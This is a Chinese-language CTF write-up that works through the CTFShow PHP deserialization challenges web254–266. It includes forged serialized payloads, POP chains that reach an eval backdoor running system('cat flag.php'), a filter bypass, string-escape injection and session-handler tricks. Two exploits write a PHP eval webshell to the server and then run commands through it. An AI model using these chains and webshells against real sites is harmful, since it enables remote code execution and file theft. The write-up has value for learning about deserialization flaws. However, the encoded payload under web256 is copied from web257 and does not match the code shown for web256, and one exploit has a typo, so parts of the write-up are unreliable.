CTFShow 反序列化

web254

源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-12-02 17:44:47
# @Last Modified by: h1xa
# @Last Modified time: 2020-12-02 19:29:02
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/

error_reporting(0);
highlight_file(__FILE__);
include('flag.php');

class ctfShowUser{
public $username='xxxxxx';
public $password='xxxxxx';
public $isVip=false;

public function checkVip(){
return $this->isVip;
}
public function login($u,$p){
if($this->username===$u&&$this->password===$p){
$this->isVip=true;
}
return $this->isVip;
}
public function vipOneKeyGetFlag(){
if($this->isVip){
global $flag;
echo "your flag is ".$flag;
}else{
echo "no vip, no flag";
}
}
}

$username=$_GET['username'];
$password=$_GET['password'];

if(isset($username) && isset($password)){
$user = new ctfShowUser();
if($user->login($username,$password)){
if($user->checkVip()){
$user->vipOneKeyGetFlag();
}
}else{
echo "no vip,no flag";
}
}

分析:

  • 作反序列化这类题,不能着急。要读懂每一行代码的意思。
  • 这类题离不开一个 关键词:serialize : 这是序列化, unserialize: un开头的前缀位相反的意思则: 反序列化。
  • 在这道题中没有出现 serialize , 这一题可以理解为后续题目的导读。这道题直接告诉你,要将 username和password都等于 xxxxxx
1
?username=xxxxxx&password=xxxxxx

web255

源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-12-02 17:44:47
# @Last Modified by: h1xa
# @Last Modified time: 2020-12-02 19:29:02
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/

error_reporting(0);
highlight_file(__FILE__);
include('flag.php');

class ctfShowUser{
public $username='xxxxxx';
public $password='xxxxxx';
public $isVip=false;

public function checkVip(){
return $this->isVip;
}
public function login($u,$p){
return $this->username===$u&&$this->password===$p;
}
public function vipOneKeyGetFlag(){
if($this->isVip){
global $flag;
echo "your flag is ".$flag;
}else{
echo "no vip, no flag";
}
}
}

$username=$_GET['username'];
$password=$_GET['password'];

if(isset($username) && isset($password)){
$user = unserialize($_COOKIE['user']);
if($user->login($username,$password)){
if($user->checkVip()){
$user->vipOneKeyGetFlag();
}
}else{
echo "no vip,no flag";
}
}

分析:

  • 先看定义的 class ctfShowUser.
  • 三个 public 的变量:username=’xxxxxx’, password=’xxxxxx’, isVip=false; isVip:false相对的就是 ture;
1
2
3
public function checkVip(){
return $this->isVip;
}
  • 这个 checkVip() 简单明了,直接返回变量 isVip的值:false或者true;
1
2
3
public function login($u,$p){
return $this->username===$u&&$this->password===$p;
}
  • login()函数的返回值是类中的变量username和password,对形参 u 和 p的判断的返回值 : true或者false;那么形参必须和两个变量的值相等才能为: true;
1
2
3
4
5
6
7
8
public function vipOneKeyGetFlag(){
if($this->isVip){
global $flag;
echo "your flag is ".$flag;
}else{
echo "no vip, no flag";
}
}
  • vipOneKeyGetFlag()函数首先if判断变量 isVip是否为 true,为true则输出flag.否则将输出:不是vip没有flag;那么需要让 isVip=true;
  • 最后来看后面的 调用:
1
2
3
4
5
6
7
8
9
10
if(isset($username) && isset($password)){ // 判断是否有 username,password两个值。
$user = unserialize($_COOKIE['user']); // 重点:unserialize($_COOKIE['user']),将cookie中user值反序列化后赋值给变量user. 因此,我们需要控制user=正确的序列化的语句。
if($user->login($username,$password)){ //调用类中的login函数来检测username,password是否一致,一致才为 true,才能执行下面的语句。此处两个变量为函数得实参。
if($user->checkVip()){ // 调用 checkVip()在前面已经知道了它直接返回变量 isVip的值:true或者false.必须得为 true才行。
$user->vipOneKeyGetFlag(); // vipOneKeyGetFlag()函数是否为 vip ,然后根据判断是否输出flag.
}
}else{
echo "no vip,no flag";
}
}
  • 看注释!

  • 根据分析本地试验:

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
class ctfShowUser{
public $username='xxxxxx'; // username,password不变;
public $password='xxxxxx';
public $isVip=true; // 更改为 true;

}
$a = new ctfShowUser();
$str = serialize($a);
echo $str."<br/><br/><br/>";
$str = urlencode($str); //需要url编码
echo $str;
?>
  • 产生结果:

1
O%3A11%3A%22ctfShowUser%22%3A3%3A%7Bs%3A8%3A%22username%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A8%3A%22password%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A5%3A%22isVip%22%3Bb%3A1%3B%7D
  • 利用 Burp 对 cookie 编辑,首先要将 url 传入 username和password
1
?username=xxxxxx&password=xxxxxx

  • 设置完毕.send一下看看结果

  • ok 得到了flag.

web256

源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-12-02 17:44:47
# @Last Modified by: h1xa
# @Last Modified time: 2020-12-02 19:29:02
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/

error_reporting(0);
highlight_file(__FILE__);
include('flag.php');

class ctfShowUser{
public $username='xxxxxx';
public $password='xxxxxx';
public $isVip=false;

public function checkVip(){
return $this->isVip;
}
public function login($u,$p){
return $this->username===$u&&$this->password===$p;
}
public function vipOneKeyGetFlag(){
if($this->isVip){
global $flag;
if($this->username!==$this->password){
echo "your flag is ".$flag;
}
}else{
echo "no vip, no flag";
}
}
}

$username=$_GET['username'];
$password=$_GET['password'];

if(isset($username) && isset($password)){
$user = unserialize($_COOKIE['user']);
if($user->login($username,$password)){
if($user->checkVip()){
$user->vipOneKeyGetFlag();
}
}else{
echo "no vip,no flag";
}
}

分析:

  • 相较于web255类似。
  • 不同之处在: ctfShowUser类中 : 增加了 if判断
1
2
3
4
5
6
7
8
9
10
public function vipOneKeyGetFlag(){
if($this->isVip){
global $flag;
if($this->username!==$this->password){ // if判断要username和password不相等
echo "your flag is ".$flag;
}
}else{
echo "no vip, no flag";
}
}
  • 那既然只更改了这一点。让username和password不相等。
1
?username=x&password=xxxxxx
  • 本地序列化:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
highlight_file(__FILE__);
class ctfShowUser{

public $username='x';
public $password='xxxxxx';
public $isVip=true;
}
$a = new ctfShowUser();
$str = serialize($a);
echo $str;echo "<br/><br/><br/>";
$str = urlencode($str);
echo $str;
?>

1
O%3A11%3A%22ctfShowUser%22%3A4%3A%7Bs%3A21%3A%22%00ctfShowUser%00username%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A21%3A%22%00ctfShowUser%00password%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A18%3A%22%00ctfShowUser%00isVip%22%3Bb%3A0%3Bs%3A18%3A%22%00ctfShowUser%00class%22%3BO%3A8%3A%22backDoor%22%3A1%3A%7Bs%3A14%3A%22%00backDoor%00code%22%3Bs%3A23%3A%22system%28%27cat+flag.php%27%29%3B%22%3B%7D%7D
  • Burp:

  • 得到了 flag!

web257

源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-12-02 17:44:47
# @Last Modified by: h1xa
# @Last Modified time: 2020-12-02 20:33:07
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/

error_reporting(0);
highlight_file(__FILE__);

class ctfShowUser{
private $username='xxxxxx';
private $password='xxxxxx';
private $isVip=false;
private $class = 'info';

public function __construct(){
$this->class=new info();
}
public function login($u,$p){
return $this->username===$u&&$this->password===$p;
}
public function __destruct(){
$this->class->getInfo();
}

}

class info{
private $user='xxxxxx';
public function getInfo(){
return $this->user;
}
}

class backDoor{
private $code;
public function getInfo(){
eval($this->code);
}
}

$username=$_GET['username'];
$password=$_GET['password'];

if(isset($username) && isset($password)){
$user = unserialize($_COOKIE['user']);
$user->login($username,$password);
}

分析:

  • 这道题,多了两个 class: info 和 backDoor
1
2
3
4
5
6
class info{
private $user='xxxxxx'; // 定义私有的变量 user
public function getInfo(){
return $this->user; // getInof函数 直接返回 user值
}
}
1
2
3
4
5
6
class backDoor{
private $code; // 变量 code.
public function getInfo(){
eval($this->code); // eval() 执行 变量 code ,那么绝对需要这个 类。
}
}
  • 再来看看 ctfShowUser类:
  • 多了一个变量 class = ‘info’ ,既然有 info 那是不是会有 class=’backDoor’ 呢?而backDoor中正好有 eval()函数。
  • 多了魔术变量: __construct() **__ destruct()**,一个被创建时自动调用,一个被销毁时自动调用。魔术变量在序列化中必不可少!
1
2
3
4
5
6
__construct()	//当一个对象创建时被调用__destruct()当一个对象销毁时被调用
__toString() //当一个对象被当作一个字符串使用
__sleep() //在对象在被序列化之前运行
__wakeup() //将在序列化之后立即被调用
__destruct() //析构函数会在到某个对象的所有引用都被删除或者当对象被显式销毁时执行。
……
1
2
3
public function __construct(){
$this->class=new info(); // 这里的 class new了一个对象:nwe info(),
}
1
2
public function __destruct(){
$this->class->getInfo();// 这里指向 class 中的函数getInfo(), class info()和class backDoor()中都有getInfo()函数。
  • 再来看看后面的调用:
1
2
3
4
if(isset($username) && isset($password)){
$user = unserialize($_COOKIE['user']);
$user->login($username,$password);//直接调用指向login()函数,而这个函数无非返回两个布尔值,true或者false.
}
  • 这题的重点在于两个魔术变量,一个被创建时自动调用,一个被销毁时自动调用。在这两个调用中才会执行php语句从而拿到flag。

  • 本地序列化

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
<?php
highlight_file(__FILE__);

class ctfShowUser{
private $username='xxxxxx';
private $password='xxxxxx';
private $isVip=false;
private $class = 'backDoor'; // 更改为 backDoor

public function __construct(){
$this->class=new backDoor(); // 初始化方便后续
}

public function __destruct(){
$this->class->getInfo();
//$this->'backDoor'->getInfo() ,类 backDoor中的 getInfo函数才能执行eval().
//类 info 中则没有eval。
}
}
class backDoor{
private $code="system('cat flag.php');";
public function getInfo(){
eval($this->$code); // 因为只有backDoor 里面才有 eval() 才能执行php语句。
}
}
$a = new ctfShowUser();
$str = serialize($a);
echo $str."<br/><br/><br/>";
echo urlencode($str)."<br/><br/><br/>";
?>
  • 结果: 需要注意:
1
2
3
Public属性序列化后格式: 成员名
Private属性序列化后格式: %00类名%00成员名
Protected属性序列化后的格式: %00*%00成员名
  • urlencode编码后自动有,不用担心这个!
1
O%3A11%3A%22ctfShowUser%22%3A4%3A%7Bs%3A21%3A%22%00ctfShowUser%00username%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A21%3A%22%00ctfShowUser%00password%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A18%3A%22%00ctfShowUser%00isVip%22%3Bb%3A0%3Bs%3A18%3A%22%00ctfShowUser%00class%22%3BO%3A8%3A%22backDoor%22%3A1%3A%7Bs%3A14%3A%22%00backDoor%00code%22%3Bs%3A23%3A%22system%28%27cat+flag.php%27%29%3B%22%3B%7D%7D

  • Burp 添加 cookie

web258

源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-12-02 17:44:47
# @Last Modified by: h1xa
# @Last Modified time: 2020-12-02 21:38:56
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/

error_reporting(0);
highlight_file(__FILE__);

class ctfShowUser{
public $username='xxxxxx';
public $password='xxxxxx';
public $isVip=false;
public $class = 'info';

public function __construct(){
$this->class=new info();
}
public function login($u,$p){
return $this->username===$u&&$this->password===$p;
}
public function __destruct(){
$this->class->getInfo();
}

}

class info{
public $user='xxxxxx';
public function getInfo(){
return $this->user;
}
}

class backDoor{
public $code;
public function getInfo(){
eval($this->code);
}
}

$username=$_GET['username'];
$password=$_GET['password'];

if(isset($username) && isset($password)){
if(!preg_match('/[oc]:\d+:/i', $_COOKIE['user'])){
$user = unserialize($_COOKIE['user']);
}
$user->login($username,$password);
}

分析:

  • 相较于web257 在后面 多了一行正则匹配:
1
'/[oc]:\d+:/i'
  • 意思是字母: o:1: 或者 c:1: 才能被匹配,数字1可以替换为其他数字,字母o和c二选一。o 是objiect,序列化后的格式。

  • 匹配到了为 true 再执行 ! 为 false, false了就不能执行 if() 中的语句。

  • 要绕过这个匹配,让 o: 替换为 o:+ ,与其数字分隔: o:+1 或者 c:+1 ,+ url编码后为 : %2b, 我也试试了其他字符隔开但没成功。

  • 本地序列化:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
<?php
highlight_file(__FILE__);
class ctfShowUser{
public $username='xxxxxx';
public $password='xxxxxx';
public $isVip=false;
public $class = 'backDoor';

public function __construct(){
$this->class=new backDoor();
}

public function __destruct(){
$this->class->getInfo();
}
}
class backDoor{
public $code="system('cat flag.php');";
public function getInfo(){
eval($this->code);
}
}
$a = new ctfShowUser();
$str = serialize($a);
echo $str."<br/><br/><br/>";
$str = str_replace('O:','O:+',$str); // 替换
echo $str."<br/><br/><br/>";
$str = urlencode($str);
echo $str."<br/>";
?>
  • 结果
1
O%3A%2B11%3A%22ctfShowUser%22%3A4%3A%7Bs%3A8%3A%22username%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A8%3A%22password%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A5%3A%22isVip%22%3Bb%3A0%3Bs%3A5%3A%22class%22%3BO%3A%2B8%3A%22backDoor%22%3A1%3A%7Bs%3A4%3A%22code%22%3Bs%3A23%3A%22system%28%27cat+flag.php%27%29%3B%22%3B%7D%7D

  • 上 bp

web259

源码:

1
2
3
4
5
6
7
8
9
10
11
12
<?php

highlight_file(__FILE__);


$vip = unserialize($_GET['vip']);
//vip can get flag one key
$vip->getFlag();

Notice: Undefined index: vip in /var/www/html/index.php on line 6

Fatal error: Uncaught Error: Call to a member function getFlag() on bool in /var/www/html/index.php:8 Stack trace: #0 {main} thrown in /var/www/html/index.php on line 8

分析:

  • 不会。

web260

源码:

1
2
3
4
5
6
7
8
9
<?php

error_reporting(0);
highlight_file(__FILE__);
include('flag.php');

if(preg_match('/ctfshow_i_love_36D/',serialize($_GET['ctfshow']))){
echo $flag;
}

分析:

  • if 语句 正则匹配 ctfshow_i_love_36D, 这里 serialize 是生成序列化的值,没有 un ,所以直接get传入:
1
?ctfshow=ctfshow_i_love_36D

web261

源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
<?php

highlight_file(__FILE__);

class ctfshowvip{
public $username;
public $password;
public $code;

public function __construct($u,$p){
$this->username=$u;
$this->password=$p;
}
public function __wakeup(){
if($this->username!='' || $this->password!=''){
die('error');
}
}
public function __invoke(){
eval($this->code);
}

public function __sleep(){
$this->username='';
$this->password='';
}
public function __unserialize($data){
$this->username=$data['username'];
$this->password=$data['password'];
$this->code = $this->username.$this->password;
}
public function __destruct(){
if($this->code==0x36d){
file_put_contents($this->username, $this->password);
}
}
}

unserialize($_GET['vip']);

php中的魔法方法:

1
2
3
4
5
6
7
8
9
10
11
12
13
__wakeup() //使用unserialize时触发
__sleep() //使用serialize时触发
__destruct() //对象被销毁时触发
__call() //在对象上下文中调用不可访问的方法时触发
__callStatic() //在静态上下文中调用不可访问的方法时触发
__get() //用于从不可访问的属性读取数据
__set() //用于将数据写入不可访问的属性
__isset() //在不可访问的属性上调用isset()或empty()触发
__unset() //在不可访问的属性上使用unset()时触发
__toString() //把类当作字符串使用时触发
__invoke() //当脚本尝试将对象调用为函数时触发
__construct() //函数创建一个新的 SimpleXMLElement 对象。如果成功,则该函数返回一个对象。如果失败,则返回 false。

分析:

  • 这题一看阿,这么多,根本看不过来。
1
2
当同时出现 __unserialize 和 __wakeup 的时候,__wakeup 是不会执行的,会被忽略。
而且 __invoke 也不会执行。
  • 如下代码:
1
2
3
4
5
public function __unserialize($data){
$this->username=$data['username'];
$this->password=$data['password'];
$this->code = $this->username.$this->password;
}
  • 在这里可以看到,code = username 和 password 的拼接。我们可以利用这个来输入我们的代码。

  • 又如下:

1
2
3
4
5
public function __destruct(){
if($this->code==0x36d){
file_put_contents($this->username, $this->password);
}
}
  • 在这里可以看到,if 判断 为 两个等号即弱类型比较,而 0x36 从十六进制转为十进制为 877。故:只要 code=877whatwhat 都可以使此 if 语句 为 true 进而执行 file_put_contents(), file_put_contest() 函数将字符串写入文件。这个函数,我们经常用它来写入一句话木马。
  • 所以可以得到如下:
1
2
$username=877shell.php
$password=<?php @eval($_POST[1]);?>
  • 本地构造一下:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<?php

class ctfshowvip{
public $username='877shell.php';
public $password='<?php @eval($_POST[1]);?>';
public $code='';

public function __construct(){
$this->username;
$this->password;
}


}

$a = new ctfshowvip();
echo serialize($a);
echo "\n\n";
echo urlencode(serialize($a));
  • 结果如下:

1
O%3A10%3A%22ctfshowvip%22%3A3%3A%7Bs%3A8%3A%22username%22%3Bs%3A12%3A%22877shell.php%22%3Bs%3A8%3A%22password%22%3Bs%3A25%3A%22%3C%3Fphp+%40eval%28%24_POST%5B1%5D%29%3B%3F%3E%22%3Bs%3A4%3A%22code%22%3Bs%3A0%3A%22%22%3B%7D
  • 验证:

  • 运行不报错的话,看看在目录下是否生成了 877shell.php,别忘了 POST传参。

  • 如图所示,成功得到了 flag.

web262

源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-12-03 02:37:19
# @Last Modified by: h1xa
# @Last Modified time: 2020-12-03 16:05:38
# @message.php
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/
error_reporting(0);
class message{
public $from;
public $msg;
public $to;
public $token='user';
public function __construct($f,$m,$t){
$this->from = $f;
$this->msg = $m;
$this->to = $t;
}
}
$f = $_GET['f'];
$m = $_GET['m'];
$t = $_GET['t'];

if(isset($f) && isset($m) && isset($t)){
$msg = new message($f,$m,$t);
$umsg = str_replace('fuck', 'loveU', serialize($msg));
setcookie('msg',base64_encode($umsg));
echo 'Your message has been sent';
}

highlight_file(__FILE__);
  • 在这道题的注释当中,发现了 message.php 文件:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-12-03 15:13:03
# @Last Modified by: h1xa
# @Last Modified time: 2020-12-03 15:17:17
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/
highlight_file(__FILE__);
include('flag.php');

class message{
public $from;
public $msg;
public $to;
public $token='user';
public function __construct($f,$m,$t){
$this->from = $f;
$this->msg = $m;
$this->to = $t;
}
}

if(isset($_COOKIE['msg'])){
$msg = unserialize(base64_decode($_COOKIE['msg']));
if($msg->token=='admin'){
echo $flag;
}
}
  • 这道题考察了PHP反序列化的字符逃逸问题,这里是增加。
  • 传送门 这位师傅讲的很好。
  • 上代码:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
<?php

class message{
public $from;
public $msg;
public $to;
public $token='user';
public function __construct($f,$m,$t){
$this->from = $f;
$this->msg = $m;
$this->to = $t;
}
}

$f='1';
$m='1';
$t='fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck";s:5:"token";s:5:"admin";}';

$msg=new message($f,$m,$t);
$ser_msg=serialize($msg);
echo $ser_msg."\n";

$umsg=str_replace('fuck','loveU',$ser_msg);
echo $umsg."\n";

$umsg=base64_encode($umsg);
echo $umsg;
  • 结果,将生成的 base64,写入到cookie中去。然后访问 message.php 即可得到flag。
1
Tzo3OiJtZXNzYWdlIjo0OntzOjQ6ImZyb20iO3M6MToiMSI7czozOiJtc2ciO3M6MToiMSI7czoyOiJ0byI7czoxMzU6ImxvdmVVbG92ZVVsb3ZlVWxvdmVVbG92ZVVsb3ZlVWxvdmVVbG92ZVVsb3ZlVWxvdmVVbG92ZVVsb3ZlVWxvdmVVbG92ZVVsb3ZlVWxvdmVVbG92ZVVsb3ZlVWxvdmVVbG92ZVVsb3ZlVWxvdmVVbG92ZVVsb3ZlVWxvdmVVbG92ZVVsb3ZlVSI7czo1OiJ0b2tlbiI7czo1OiJhZG1pbiI7fSI7czo1OiJ0b2tlbiI7czo0OiJ1c2VyIjt9

web263

源码: www.zip 文件泄露(index.php, check.php, inc.php)。

分析:

index.php

1
2
3
4
5
6
7
8
9
……
if(isset($_SESSION['limit'])){
$_SESSION['limti']>5?die("登陆失败次数超过限制"):$_SESSION['limit']=base64_decode($_COOKIE['limit']);
$_COOKIE['limit'] = base64_encode(base64_decode($_COOKIE['limit']) +1);
}else{
setcookie("limit",base64_encode('1'));
$_SESSION['limit']= 1;
}
……
  • 从 三目运算符 可得到: __ SESSION 可控,通过 __ COOKIE[‘limit’] 可控。

inc.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
ini_set('session.serialize_handler', 'php');
date_default_timezone_set("Asia/Shanghai");
session_start();
……
……
……
class User{
public $username;
public $password;
public $status;
function __construct($username,$password){
$this->username = $username;
$this->password = $password;
}
function setStatus($s){
$this->status=$s;
}
function __destruct(){
file_put_contents("log-".$this->username, "使用".$this->password."登陆".($this->status?"成功":"失败")."----".date_create()->format('Y-m-d H:i:s'));
}
}
  • 在 inc.php中 可以看到 session_start() 开启了 session会话。
  • class User{} 中 file_put_contents() 文件写入,利用点。
  • file_put_contents() 中的文件名: log-xxx.php 。
  • ini_set(‘session.serialize_handler’, ‘php’); 其中 session.serialize_handler: session序列化存储所用处理器。默认 php。还有其它处理器如下:
  • 实例代码便于观看各种处理器之间的格式:
1
2
3
4
<?php
session_start();
ini_set('session.serialize_handler','php');
$_SESSION['user']="admin";
处理器 序列化格式
session.serialize_handler=php user|s:5:”admin”;
session.serialize_handler=php_serialize a:1:{s:4:”user”;s:5:”admin”;}
session.serialize_handler=php_binary users:5:”admin”; (:二进制数据)
  • session反序列化所使用的引擎和序列化使用的引擎不一样,将导致数据无法正确反序列化。因此就可以钻空子了,我们通过手段来达到我们的目的。具体的话,我是个小白,解释不清。

check.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
……
error_reporting(0);
require_once 'inc/inc.php';
$GET = array("u"=>$_GET['u'],"pass"=>$_GET['pass']);


if($GET){

$data= $db->get('admin',
[ 'id',
'UserName0'
],[
"AND"=>[
"UserName0[=]"=>$GET['u'],
"PassWord1[=]"=>$GET['pass'] //密码必须为128位大小写字母+数字+特殊符号,防止爆破
]
]);
if($data['id']){
//登陆成功取消次数累计
$_SESSION['limit']= 0;
echo json_encode(array("success","msg"=>"欢迎您".$data['UserName0']));
}else{
//登陆失败累计次数加1
$_COOKIE['limit'] = base64_encode(base64_decode($_COOKIE['limit'])+1);
echo json_encode(array("error","msg"=>"登陆失败"));
}
}
……

payload.php

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
class User{
public $username;
public $password;
public $status;
function __construct($username,$password){
$this->username = $username;
$this->password = $password;
}
}
$a = new User('1.php','<?php eval($_POST[1])?>');
echo serialize($a)."\n";
echo base64_encode('|'.serialize($a))."\n";

1
fE86NDoiVXNlciI6Mzp7czo4OiJ1c2VybmFtZSI7czo1OiIxLnBocCI7czo4OiJwYXNzd29yZCI7czoyMzoiPD9waHAgZXZhbCgkX1BPU1RbMV0pPz4iO3M6Njoic3RhdHVzIjtOO30=
  • 更改 index.php中 cookie:

  • 然后刷新 index.php 页面
  • 访问 check.php, 会显示 登陆失败的 unicode编码
1
/check.php?u=111&pass=111 // u&pass 随便写

  • 尝试访问 log-1.php
1
/log-1.php

  • 如图所示 Notice 证明 log-1.php写入成功。
  • post 传参
1
2
1=system('ls');
1=system('tac flag.php');

  • 成功拿到 flag。

web264

源码:

index.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-12-03 02:37:19
# @Last Modified by: h1xa
# @Last Modified time: 2020-12-03 16:05:38
# @message.php
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/


error_reporting(0);
session_start();

class message{
public $from;
public $msg;
public $to;
public $token='user';
public function __construct($f,$m,$t){
$this->from = $f;
$this->msg = $m;
$this->to = $t;
}
}

$f = $_GET['f'];
$m = $_GET['m'];
$t = $_GET['t'];

if(isset($f) && isset($m) && isset($t)){
$msg = new message($f,$m,$t);
$umsg = str_replace('fuck', 'loveU', serialize($msg));
$_SESSION['msg']=base64_encode($umsg);
echo 'Your message has been sent';
}

highlight_file(__FILE__);

message.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-12-03 15:13:03
# @Last Modified by: h1xa
# @Last Modified time: 2020-12-03 15:17:17
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/
session_start();
highlight_file(__FILE__);
include('flag.php');

class message{
public $from;
public $msg;
public $to;
public $token='user';
public function __construct($f,$m,$t){
$this->from = $f;
$this->msg = $m;
$this->to = $t;
}
}

if(isset($_COOKIE['msg'])){
$msg = unserialize(base64_decode($_SESSION['msg']));
if($msg->token=='admin'){
echo $flag;
}
}

分析:

  • 发现很眼熟,在 web262的基础上改为了 SESSION反序列化。
  • 然而 SESSION 我们控制不了。
  • message.php 中 需要 设置 一个 cookie 才能执行 if 中的内容。随便设置。

payload.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php

class message{
public $from;
public $msg;
public $to;
public $token='admin';
public function __construct($f,$m,$t){
$this->from = $f;
$this->msg = $m;
$this->to = $t;
}
}

$msg = new message('1','2','fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck";s:5:"token";s:5:"admin";}');
$s_msg = str_replace('fuck','loveU',serialize($msg));
echo $s_msg."\n";
  • 访问 index.php(带参数);
1
?f=1&m=2&t=fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck";s:5:"token";s:5:"admin";}

  • 访问 message.php 并随便设置一个 cookie: msg=1(注意 hackbar 设置 cookie 失败)

flag

web265

源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-12-04 23:52:24
# @Last Modified by: h1xa
# @Last Modified time: 2020-12-05 00:17:08
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/

error_reporting(0);
include('flag.php');
highlight_file(__FILE__);
class ctfshowAdmin{
public $token;
public $password;

public function __construct($t,$p){
$this->token=$t;
$this->password = $p;
}
public function login(){
return $this->token===$this->password;
}
}

$ctfshow = unserialize($_GET['ctfshow']);
$ctfshow->token=md5(mt_rand());

if($ctfshow->login()){
echo $flag;
}

分析:

  • mt_rand()系统产生随机值,每次随机值都不一样,且由md5()包裹,那那么这个更是我们控制不了的。

  • 在 class 中 要求 token === password, 全等,token控制不了,拿只能从 password 入手,让 password 等于token的地址。

  • $this->password = &$this->token;

payload.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php

class ctfshowAdmin{
public $token;
public $password;

public function __construct($t, $p){
$this->token=$t;
$this->password = &$this->token; // 取地址。
}
public function login(){
return $this->token === $this->password;
}
}

$a = new ctfshowAdmin('aaa','aaa');
echo serialize($a);
  • 结果:

1
/?ctfshow=O:12:"ctfshowAdmin":2:{s:5:"token";s:3:"aaa";s:8:"password";R:2;}

web266

源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-12-04 23:52:24
# @Last Modified by: h1xa
# @Last Modified time: 2020-12-05 00:17:08
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/

highlight_file(__FILE__);

include('flag.php');
$cs = file_get_contents('php://input');


class ctfshow{
public $username='xxxxxx';
public $password='xxxxxx';
public function __construct($u,$p){
$this->username=$u;
$this->password=$p;
}
public function login(){
return $this->username===$this->password;
}
public function __toString(){
return $this->username;
}
public function __destruct(){
global $flag;
echo $flag;
}
}
$ctfshowo=@unserialize($cs);
if(preg_match('/ctfshow/', $cs)){
throw new Exception("Error $ctfshowo",1);
}

分析:

